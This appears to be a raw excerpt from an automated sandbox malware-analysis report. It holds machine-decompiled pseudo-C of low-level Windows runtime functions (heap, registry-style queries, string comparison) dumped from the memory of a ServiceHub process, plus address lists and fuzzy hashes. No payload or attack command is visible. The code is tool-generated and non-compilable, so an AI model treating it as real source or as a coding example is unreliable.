					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E011E9800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E011E95B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E011E95D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L011C77F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E011E9910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E011E95D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x1297b9c; // 0x0
									_t92 = L011C4620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E011E9910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E011AA7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E0123E7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E0123E7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E011E95B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}




















                                          0x0123b8d9
                                          0x0123b8e4
                                          0x00000000
                                          0x0123b8e6
                                          0x0123b8f3
                                          0x0123b8f5
                                          0x0123b8f5
                                          0x0123b8f8
                                          0x0123b920
                                          0x0123b924
                                          0x0123b936
                                          0x0123b939
                                          0x0123b93d
                                          0x0123b948
                                          0x0123b9a0
                                          0x0123b9a0
                                          0x0123b9a4
                                          0x0123b9bf
                                          0x0123b9c4
                                          0x0123b9c6
                                          0x0123b9cd
                                          0x0123b9d1
                                          0x0123bad4
                                          0x0123bad8
                                          0x0123bada
                                          0x0123badc
                                          0x0123badc
                                          0x0123badf
                                          0x0123bae0
                                          0x0123bae2
                                          0x0123bae4
                                          0x0123baec
                                          0x0123baee
                                          0x0123baf0
                                          0x0123baf0
                                          0x0123baec
                                          0x0123bafb
                                          0x0123bafc
                                          0x0123bafe
                                          0x0123bb01
                                          0x0123bb01
                                          0x00000000
                                          0x0123bb06
                                          0x0123b9d7
                                          0x0123b9db
                                          0x0123b9db
                                          0x0123b9de
                                          0x0123b9de
                                          0x0123b9e4
                                          0x0123b9e7
                                          0x0123b9ea
                                          0x0123b9ec
                                          0x0123b9ef
                                          0x0123b9f3
                                          0x0123ba1b
                                          0x0123ba1b
                                          0x0123ba23
                                          0x0123ba24
                                          0x0123ba27
                                          0x0123ba2a
                                          0x0123ba2b
                                          0x0123ba2e
                                          0x0123ba30
                                          0x0123ba37
                                          0x0123ba3f
                                          0x0123ba9c
                                          0x0123baa2
                                          0x0123bb13
                                          0x0123bb15
                                          0x0123baae
                                          0x0123baae
                                          0x0123bab3
                                          0x0123bab5
                                          0x0123baba
                                          0x0123bac8
                                          0x0123bac8
                                          0x0123baba
                                          0x0123bacd
                                          0x0123bacf
                                          0x00000000
                                          0x0123bacf
                                          0x0123bb1a
                                          0x00000000
                                          0x0123bb1c
                                          0x0123baa7
                                          0x0123bb11
                                          0x00000000
                                          0x0123bb11
                                          0x0123baa9
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x0123ba41
                                          0x0123ba41
                                          0x0123ba41
                                          0x0123ba58
                                          0x0123ba5d
                                          0x0123ba62
                                          0x00000000
                                          0x00000000
                                          0x0123ba64
                                          0x0123ba67
                                          0x0123ba68
                                          0x0123ba69
                                          0x0123ba6c
                                          0x0123ba6f
                                          0x0123ba71
                                          0x0123ba78
                                          0x0123ba80
                                          0x00000000
                                          0x00000000
                                          0x0123ba90
                                          0x0123ba90
                                          0x0123ba97
                                          0x00000000
                                          0x0123ba97
                                          0x0123b9f5
                                          0x0123b9f7
                                          0x0123b9f7
                                          0x0123b9fa
                                          0x0123ba03
                                          0x0123ba07
                                          0x0123ba0c
                                          0x0123ba10
                                          0x0123ba17
                                          0x00000000
                                          0x0123b9f7
                                          0x0123b9a6
                                          0x0123b9a8
                                          0x0123b9af
                                          0x0123b9b3
                                          0x00000000
                                          0x00000000
                                          0x0123b9b9
                                          0x00000000
                                          0x0123b9b9
                                          0x0123b94d
                                          0x0123b98f
                                          0x0123b995
                                          0x0123b999
                                          0x0123b960
                                          0x0123b967
                                          0x0123b968
                                          0x0123b96a
                                          0x00000000
                                          0x0123b96a
                                          0x0123b99b
                                          0x0123b99e
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x0123b99e
                                          0x0123b951
                                          0x0123b954
                                          0x0123b95a
                                          0x0123b95e
                                          0x0123b972
                                          0x0123b979
                                          0x0123b97d
                                          0x0123b97f
                                          0x0123b980
                                          0x0123b982
                                          0x0123b984
                                          0x00000000
                                          0x0123b984
                                          0x00000000
                                          0x0123b926
                                          0x00000000
                                          0x0123b926

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 357fd291e68785e887d032289e719f837454be1bf775d34c32456d4c0c4b569f
                                          • Instruction ID: 6215e88c86a0c7ea3685617f4881860c424f378d4634c2c2e6f3cf453d5337f4
                                          • Opcode Fuzzy Hash: 357fd291e68785e887d032289e719f837454be1bf775d34c32456d4c0c4b569f
                                          • Instruction Fuzzy Hash: 147123B2220B06AFE736CF18C849F66BBF5EF84724F114528E755876A0EB70E941CB50
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01226DC9 Relevance: .2, Instructions: 199COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 79%
                                          			E01226DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E01226B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E011C7D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E011E9AE0();
					_t87 = L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E0122795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E0122795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E0122795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E0122795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L011C4620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E01226B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E01226B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E01226B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E01226B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E011C7D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E011E9AE0();
								L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L011C2400( &_v36);
							if(_v24 >= 0) {
								_t87 = L011C2400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L011C2400( &_v52);
							}
							if(_v28 >= 0) {
								return L011C2400( &_v60);
							}
						}
					}
				}
				return _t87;
			}































                                          0x01226dd4
                                          0x01226dde
                                          0x01226de1
                                          0x01226de3
                                          0x01226de6
                                          0x01226de9
                                          0x01226dec
                                          0x01226def
                                          0x01226df2
                                          0x01226df5
                                          0x01226dfe
                                          0x01226e04
                                          0x01226e09
                                          0x01226e0d
                                          0x01226e18
                                          0x01226e1b
                                          0x01226e22
                                          0x01226e2d
                                          0x01226e30
                                          0x01226e36
                                          0x01226e42
                                          0x01226e4d
                                          0x01226e50
                                          0x01226e55
                                          0x01226e5c
                                          0x01226e6e
                                          0x01226e5e
                                          0x01226e67
                                          0x01226e67
                                          0x01226e73
                                          0x01226e74
                                          0x01226e77
                                          0x01226e7c
                                          0x01226e7d
                                          0x01226e8e
                                          0x01226e93
                                          0x01226e9c
                                          0x01226ea8
                                          0x01226eab
                                          0x01226eac
                                          0x01226eb3
                                          0x01226ecd
                                          0x01226edc
                                          0x01226ee2
                                          0x01226ee5
                                          0x01226ef2
                                          0x01226efb
                                          0x01226f01
                                          0x01226f06
                                          0x01226f0b
                                          0x01226f11
                                          0x01226f1a
                                          0x01226f22
                                          0x01226f26
                                          0x01226f26
                                          0x01226f33
                                          0x01226f41
                                          0x01226f44
                                          0x01226f47
                                          0x01226f54
                                          0x01226f65
                                          0x01226f77
                                          0x01226f7c
                                          0x01226f82
                                          0x01226f91
                                          0x01226f99
                                          0x01226fa3
                                          0x01226fae
                                          0x01226fae
                                          0x01226fba
                                          0x01226fbb
                                          0x01226fbc
                                          0x01226fc1
                                          0x01226fc2
                                          0x01226fd3
                                          0x01226fd8
                                          0x01226fd8
                                          0x01226fdf
                                          0x01226fe8
                                          0x01226fee
                                          0x01226fee
                                          0x01226ff5
                                          0x01226ffb
                                          0x01226ffb
                                          0x01227004
                                          0x00000000
                                          0x0122700a
                                          0x01227004
                                          0x01226eb3
                                          0x01226e9c
                                          0x01227015

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
                                          • Instruction ID: 4e7f93d1269264c4c4d80b8b97c00a440238c41c0e5f9950bf65607ca3a841a7
                                          • Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
                                          • Instruction Fuzzy Hash: BA718071A1061AEFCB14DFA9C944EEEBBB9FF58704F104069E905E7250DB34EA41CB90
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011A52A5 Relevance: .2, Instructions: 161COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 78%
                                          			E011A52A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E011BEEF0(0x12979a0);
					_t104 =  *0x1298210; // 0xd42e28
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E011BEB70(_t93, 0x12979a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E011E9890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E011BEEF0(0x12979a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E011BEB70(0, 0x12979a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t13 = _t104 + 0xc; // 0xd42e35
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E011DF0BF(_t13,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E011BEEF0(0x12979a0);
									__eflags =  *0x1298210 - _t104; // 0xd42e28
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x1298210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E01224888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E011BEB70(_t95, 0x12979a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E011E95D0();
											L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E011E95D0();
											L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E011BEB70(_t93, 0x12979a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E011E95D0();
										L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E011E95D0();
										L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E011DF0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

























                                          0x011a52a5
                                          0x011a52ad
                                          0x011a52b0
                                          0x011a52b3
                                          0x011a52b7
                                          0x011a52ba
                                          0x011a52bf
                                          0x011a52c4
                                          0x011a52cc
                                          0x00000000
                                          0x00000000
                                          0x011a52ce
                                          0x011a52d9
                                          0x011a52dd
                                          0x011a52e7
                                          0x011a52f7
                                          0x011a52f9
                                          0x011a52fd
                                          0x01200dcf
                                          0x01200dd5
                                          0x01200dd6
                                          0x01200dd7
                                          0x01200dd8
                                          0x01200dd9
                                          0x01200dde
                                          0x01200ddf
                                          0x01200de0
                                          0x01200de1
                                          0x01200de2
                                          0x01200de5
                                          0x01200dea
                                          0x01200dec
                                          0x01200f60
                                          0x01200f64
                                          0x01200f70
                                          0x01200f76
                                          0x01200f79
                                          0x01200f79
                                          0x00000000
                                          0x01200f64
                                          0x01200df2
                                          0x01200df7
                                          0x01200e04
                                          0x01200e0d
                                          0x01200e0d
                                          0x01200e10
                                          0x01200e1a
                                          0x01200e1c
                                          0x01200e4c
                                          0x01200e52
                                          0x01200e61
                                          0x01200e67
                                          0x01200e6b
                                          0x01200e70
                                          0x01200e76
                                          0x01200ed7
                                          0x01200edc
                                          0x01200ee0
                                          0x01200ee6
                                          0x01200eea
                                          0x01200eed
                                          0x01200ef0
                                          0x01200ef3
                                          0x01200ef6
                                          0x01200ef9
                                          0x01200efe
                                          0x01200f01
                                          0x01200f01
                                          0x01200f0b
                                          0x01200f12
                                          0x01200f16
                                          0x01200f18
                                          0x01200f1b
                                          0x01200f2c
                                          0x01200f31
                                          0x01200f31
                                          0x01200f35
                                          0x01200f39
                                          0x01200f3a
                                          0x01200f3c
                                          0x01200f3f
                                          0x01200f50
                                          0x01200f55
                                          0x01200f55
                                          0x01200f59
                                          0x011a52eb
                                          0x011a52f1
                                          0x011a52f1
                                          0x01200e7d
                                          0x01200e84
                                          0x01200e88
                                          0x01200e8a
                                          0x01200e8d
                                          0x01200e9e
                                          0x01200ea3
                                          0x01200ea3
                                          0x01200ea7
                                          0x01200eaf
                                          0x01200eb3
                                          0x01200eb9
                                          0x01200eb9
                                          0x01200ebc
                                          0x01200ecd
                                          0x01200ecd
                                          0x00000000
                                          0x01200eb3
                                          0x01200e21
                                          0x01200e2b
                                          0x01200e2f
                                          0x01200e30
                                          0x01200e3a
                                          0x01200e3f
                                          0x01200e41
                                          0x00000000
                                          0x00000000
                                          0x01200e47
                                          0x00000000
                                          0x01200e47
                                          0x01200df9
                                          0x01200dfe
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01200dfe
                                          0x011a5303
                                          0x011a5307
                                          0x00000000
                                          0x011a5309
                                          0x00000000
                                          0x011a5309
                                          0x011a5307
                                          0x011a52e9
                                          0x011a52e9
                                          0x00000000
                                          0x011a52e9
                                          0x011a530e
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 41b511e5b5ec3738a9bf12c59201db230a8341f2823aa11aa1335fd233a18eff
                                          • Instruction ID: a34e2d486ef731b9cd6291d658b334266a9a963ce7b2364e5c8f6eff972fc588
                                          • Opcode Fuzzy Hash: 41b511e5b5ec3738a9bf12c59201db230a8341f2823aa11aa1335fd233a18eff
                                          • Instruction Fuzzy Hash: B25111B0159742DBE72ADF68C844B6BBBE5FF60714F14091EF58583692E770E800CB92
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D2AE4 Relevance: .2, Instructions: 159COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011D2AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0x1298204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0x1298208; // 0x1298207
				_t8 = _t57 + 0x1298208; // 0x1298207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0x1298450; // 0x0
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0x129821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0x1296d5c; // 0x7f430654
							_t72 =  *0x1296d5c; // 0x7f430654
							_t75 =  *0x1296d5c; // 0x7f430654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0x1296d5c; // 0x7f430654
							_t84 =  *0x1296d5c; // 0x7f430654
							_t87 =  *0x1296d5c; // 0x7f430654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E011EF3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}






































                                          0x011d2ae4
                                          0x011d2aec
                                          0x011d2aef
                                          0x011d2af4
                                          0x011d2af7
                                          0x011d2afd
                                          0x011d2b92
                                          0x011d2b92
                                          0x011d2b97
                                          0x011d2b9c
                                          0x011d2b9c
                                          0x011d2b03
                                          0x011d2b06
                                          0x011d2b09
                                          0x011d2b09
                                          0x011d2b0f
                                          0x011d2b15
                                          0x011d2b15
                                          0x011d2b1b
                                          0x011d2b1e
                                          0x011d2b21
                                          0x011d2b26
                                          0x011d2b29
                                          0x011d2b81
                                          0x011d2b84
                                          0x011d2c0e
                                          0x011d2c15
                                          0x011d2c24
                                          0x011d2c24
                                          0x011d2b8a
                                          0x011d2b8a
                                          0x011d2b8a
                                          0x011d2b8a
                                          0x011d2b90
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011d2b4a
                                          0x011d2b4a
                                          0x011d2b4d
                                          0x011d2b53
                                          0x00000000
                                          0x00000000
                                          0x011d2b55
                                          0x011d2b58
                                          0x011d2bb7
                                          0x01215d1b
